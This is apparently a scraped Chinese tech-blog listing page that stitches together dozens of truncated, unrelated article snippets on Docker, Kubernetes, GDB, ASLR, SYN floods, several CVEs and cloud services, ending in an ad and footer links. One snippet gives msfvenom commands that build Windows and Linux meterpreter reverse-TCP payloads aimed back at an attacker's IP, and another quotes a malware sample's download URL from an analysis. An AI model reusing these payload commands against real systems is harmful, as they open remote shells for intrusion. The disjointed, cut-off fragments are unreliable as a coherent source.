============================================================================= 涉及到的知识点有： 一、内存管理、作用域、自动变量auto、寄存器变量register、代码块作用域内的静态变量、代码块作用域外的静态变量。
Visual Studio作为宇宙第一的IDE，开发调试.net core app，无一能出其右，我们还需要去了解Visual Studio Code吗？答案是肯定。
在使用 Kubernetes 时，可能会遇到一些网络问题。当通过检查配置与日志无法排查错误时，这时就需要抓取网络数据包，但是Pod内一般不会安装tcpdump命令，那有没有方法可以直接通过宿主机抓取Pod网络数据包？
相信大家应该都接触过Linux操作系统（Ubuntu、Centos等），那么在使用的Linux操作系统需要使用一些远程ssh工具，尤其是公网服务器。
htop命令是Linux系统中的一个互动的进程查看器，一个文本模式的应用程序(在控制台或者X终端中)，需要ncurses。
在云时代，容器化已经成为一种事实，把软件产品打包、构建成 Docker 镜像是最基本、最关键的一步。在信创的大背景下，云环境中会存在 x86、arm 等不同的架构，所以在构建镜像时需要构建出多种架构的镜像，以适配不同架构的服务器。
前文讲解了Docker镜像的原理和常用命令，本文继续通过官方的Apache镜像演示Docker容器相关的常用操作及命令。
Linux GDB 常用命令如下： 1.启动和退出gdb （1）启动：gdb ***：显示一段版权说明； (*** 表示可执行程序名) （2）退出：quit。有的时候输入quit后会出现相关提示：类似于“（y/n）”，输入y 2.显示和查找程序源代码 （1）list ：显示10行代码，但是我为什么没有显示成功呢？ （2）list 5，10：显示源文件第五行到第十行的代码 （3）list t4.c：5，10：显示源文件中第五行到第十行的代码，在跳是含有多个源文件的次序时使用； （4）list get_sum：
2.用手机连接 usb口连接树莓派 typec口连接手机 用vpn热点apk 打开usb网络共享 然后在使用termux连接树莓派 ssh pi@192.168.42.129
Brief 习惯在VS上按<F5>来编译运行程序，刚用上VIM上就觉得无比的麻烦，而随着对VIM的学习我们分阶段的简化这一操作 1. 退出VIM，在shell下编译&&运行程序 :wq [root@fsjohnhuang ~]# gcc main.c -o main [root@fsjohnhuang ~]# ./main 2. 在VIM的命令行模式下编译&&运行程序 :!gcc % -o main :!./main 3. 快捷键绑定一
题图摄于故宫角楼 注：微信公众号不按照时间排序，请关注“亨利笔记”，并加星标以置顶，以免错过更新。 《Harbor权威指南》招募英文版翻译人员 本篇继续和大家说说镜像那些事，是连载之二，从《Harbor权威指南》一书节选的纯技术干货，敬请关注、转发和收藏。 第一篇：容器镜像的结构 第二篇：OCI 镜像规范 第三篇：OCI 制品 第四篇：Registry 的作用原理 《Harbor权威指南》目前当当网优惠中，点击下图直接购买。 1.5 OCI镜像规范 OCI 镜像规范是以 Docker 镜像规范 v2
ASLR，应为全称为Address Space Layout Randomization，即地址空间布局随机化。它是一种概率性安全防御机制，由PaX团队于2001年正式提出，并在2005年开始引入到Linux内核之中。ASLR能够在每次运行可执行文件的时候通过基地址随机映射的方式来为其随机分配地址空间。ASLR存在的目的，就是为了防止那些需要了解内存地址来利用内存崩溃漏洞的攻击行为。
dell电脑，F12进入bios，安装系统可能会有点慢。然后如果黑屏报schem_error不停循环的话。别担心，正常现象。等一会就好了。
上周在我的交流群里有个小伙伴问到了 Overlay2 相关的问题，这篇就来介绍一下。(想进群的可以留言）
执行该程序，输出mmap方法返回的内存地址，同时使用pmap命令输出该程序执行mmap之前以及之后的内存使用情况。
SYN Flood介绍 前段时间网站被攻击多次，其中最猛烈的就是TCP洪水攻击，即SYN Flood。 SYN Flood是当前最流行的DoS（拒绝服务攻击）与DDoS（分布式拒绝服务攻击）的方式之一，这是一种利用TCP协议缺陷，发送大量伪造的TCP连接请求，常用假冒的IP或IP号段发来海量的请求连接的第一个握手包（SYN包），被攻击服务器回应第二个握手包（SYN+ACK包），因为对方是假冒IP，对方永远收不到包且不会回应第三个握手包。导致被攻击服务器保持大量SYN_RECV状态的“半连接”，并且会重试默认
Docker是PaaS 提供商 dotCloud 开源的一个基于 LXC 的高级容器引擎，源代码托管在 Github 上, 基于go语言并遵从Apache2.0协议开源。 Docker是通过内核虚拟化
从最近“恶意软件必须死”的帖子了解到一些关于DNS放大攻击相关的LINUX恶意软件样本。我对linux恶意软件的研究非常感兴趣，而且这个很特别，因为他有一个DDOS攻击模块，所以想深入了解一下。 将得到的恶意软件放到linux沙箱中运行，并连接到C&C。虽然我没有看到它有任何DDOS攻击活动，我还是通过PCAP（获取HTTP信息的工具）做了分析，波动图像在文章底部可见。 该恶意软件从hxxp://198.2. [.] 192.204:22/disknyp下载而来。样品的MD5哈希值是 260533eb
注：本问题影响 3.10.0-862.el7.centos 及之后的 CentOS 7 版本内核，目前问题还未被修复。
一、目前网站架构一般分成负载均衡层、web层和数据库层，我其实一般还会多加一层，即文件服务器层，因为现在随着网站的PV越来越多，文件服务器的压力也越来越大;不过随着moosefs、DRDB+Heartbeat的日趋成熟，这问题也不大了.网站最前端的负载均衡层称之为Director，它起的是分摊请求的作用，最常见的就是轮询。 二、F5是通过硬件的方式来实现负载均衡，它较多应用于CDN系统，用于squid反向加速集群的负载均衡，是专业的硬件负载均衡设备，尤其适用于每秒新建连接数和并发连接数要求高的场景;L
Prometheus 是为 Kubernetes 这样的动态环境而生的。它的服务发现能力和查询语言非常强大，Kubernetes 运维过程中，用户可以借 Prometheus 解决监控问题。
也就是说增长到1000的数组如果没有事先指定大小，会发生13次Arrays.copyOf动作，拷贝代价多大？继续分析
当程序运行的过程中异常终止或崩溃，操作系统会将程序当时的内存状态记录下来，保存在一个文件中，这种行为就叫做Core Dump（中文有的翻译成“核心转储”)。我们可以认为 core dump 是“内存快照”，但实际上，除了内存信息之外，还有些关键的程序运行状态也会同时 dump 下来，例如寄存器信息（包括程序指针、栈指针等）、内存管理信息、其他处理器和操作系统状态和信息。core dump 对于编程人员诊断和调试程序是非常有帮助的，因为对于有些程序错误是很难重现的，例如指针异常，而 core dump 文件可以再现程序出错时的情景。
Metasploit 是一款开源的安全漏洞检测工具，可以帮助安全和IT专业人士识别安全性问题，验证漏洞的缓解措施，同时该工具也是渗透测试环境中的利器，它支持多平台Payload的生成具有完全的跨平台性，本次实验将学会生成各种攻击载荷。
F5 BIG‐IP 是美国 F5 公司的一款集成了网络流量管理、应用程序安全管理、负载均衡等功能的应用交付平台。2020年7月1日，F5官方公布流量管理用户界面（TMUI）存在 前台远程执行代码（RCE）漏洞（CVE‐2020‐5902）。攻击者利用该漏洞，构造恶意请求，在未授权的情况下获得目标服务器的权限，实现远程代码执行。
描述：通用唯一识别码（英语：Universally Unique Identifier，简称UUID）是一种软件建构的标准是在计算机系统中用来标识信息的一个 128 位（比特）的数字，最初被用在阿波罗网络计算机系统（NCS）中，亦为自由软件基金会组织会（OSF）在分散式计算环境领域境（DCE）的一部份。
Containerd 默认提供 CLI 命令行工具 ctr，ctr 命名提供基本的镜像和容器操作功能，可以通过如下查看命令帮助：
摘要: Docker Notes系列为学习Docker笔记，本文是学习cgroups 资源限制的笔记
时间一转眼到了2022年的春天，俄乌战争已持续数周，有圈内大侠提出，NGINX是俄罗斯人Igor开发的，俄罗斯是不是可以反制裁，让部分国家无法使用NGINX。殊不知，早在2019年3月11日，远在大洋彼岸美国华盛顿州西雅图的F5网络公司（F5, Inc.）以6.7亿美元收购了NGINX，至此，NGINX正式成为了一个美国产品。
前面已经介绍，可以使用Docker Hub公共仓库，但是大多数情况企业都需要创建一个本地仓库供自己使用。这里介绍几种搭建私库的方法
当 Linux 系统连接到 SAN（存储区域网络）后，你需要重新扫描 iSCSI 服务以发现新的 LUN。
使用这个allow_user_poisoning=0，来取消 以这个例子为例： // example1.cpp // use-after-poison error #include <stdlib.h> extern "C" void __asan_poison_memory_region(void *, size_t); int main(int argc, char **argv) { char *x = new char[16]; x[10] = 0; __asan_poi
Kubernetes 的重要性和火爆程度已无需多言，但各公司风格迥异的 IT 基础环境必然催生出各式各样的 Kubernetes 集群架构方案，这对整个生态的发展未尝不是一件好事。今天我们主要聊聊网络，集群网络系统是 Kubernetes 的核心部分，得益于 Kubernetes 灵活的接口设计，现在已有许多成熟方案和使用案例，比如 Calico，Flannel，Kube-router等。
前言：经常需要用到curl命令在线上机器中去测试接口，尤其是一些内外网接口、判断线上接口信息等，需要用到curl命令直接测试页面或接口返回值，下面是我常用的curl命令参数及作用：
前面我们介绍了可以使用 ctr 操作管理 containerd 镜像容器，但是大家都习惯了使用 docker cli，ctr 使用起来可能还是不太顺手，为了能够让大家更好的转到 containerd 上面来，社区提供了一个新的命令行工具：nerdctl。nerdctl 是一个与 docker cli 风格兼容的 containerd 客户端工具，而且直接兼容 docker compose 的语法的，这就大大提高了直接将 containerd 作为本地开发、测试或者单机容器部署使用的效率。
Google Project Zero研究员Tavis Ormandy宣布在微软的记事本文本编辑器中发现代码执行漏洞。
/var/lib/docker/overlay2/6573e40fef5bc51b4e565ad9554f225806f05a9f9089cc9e210c0e35a80e6e1f/merged/etc/resolv.conf: read-only
使用 docker 是非常简单的-你只要会 build，run，inspect，pull 和 push 容器和镜像，但你有没有想过 docker 如何做到这些以及内部实际工作原理是什么？在这个简单的界面背后隐藏着许多很酷的技术，在本文中我们将探讨其中之一——联合文件系统——所有容器和镜像层背后的文件系统......
depmod命令可产生模块依赖的映射文件，在构建嵌入式系统时，需要由这个命令来生成相应的文件，由modprobe使用。
其实我是一个根本不懂技术的人，二进制我也是随便鼓捣的，大概能理解一些这样子。最近一直在试着挖皮卡丘，因为皮卡丘核心的东西都在二进制里，所以也不得不搞起了逆向。搞了段时间有点心得了想分享一下我的一些想法。简单的说，我目前认为，抛开复杂的pwn不讲，大部分时候逆向一个没有过度反调试和混淆的二进制文件整体思路和操作上是和代码审计一样的。所以我觉得对于大部分人来说简单学一学，也能挖到不少rce。由于我比较菜，所以有些东西可能讲错了或者是讲的皮毛，别太深究。这篇文章主要是给不太懂但是又想挖一挖的人看的。
最近 glibc 被曝出一个漏洞：CVE-2023-4911。初步观察表明，该漏洞具有较为严重的潜在危害。本文旨在分析该漏洞，评估该漏洞的利用难度和危害。
本人转载：http://www.cnblogs.com/scottckt/archive/2010/09/15/1826925.html
(adsbygoogle = window.adsbygoogle || []).push({});
特别说明：本文于2015年基于OpenStack M版本发表于本人博客，现转发到公众号。因为时间关系，本文部分内容可能已过时甚至不正确，请注意。
为应用程序创建良好的用户体验（UX）是一项艰巨的任务，尤其是在开发嵌入式应用程序时。今天，有两种图形用户界面（GUI）工具通常用于开发嵌入式软件：它们要么涉及复杂的技术，要么非常昂贵。
Windows: msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST= 攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe Linux: msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
腾讯会议
实时音视频
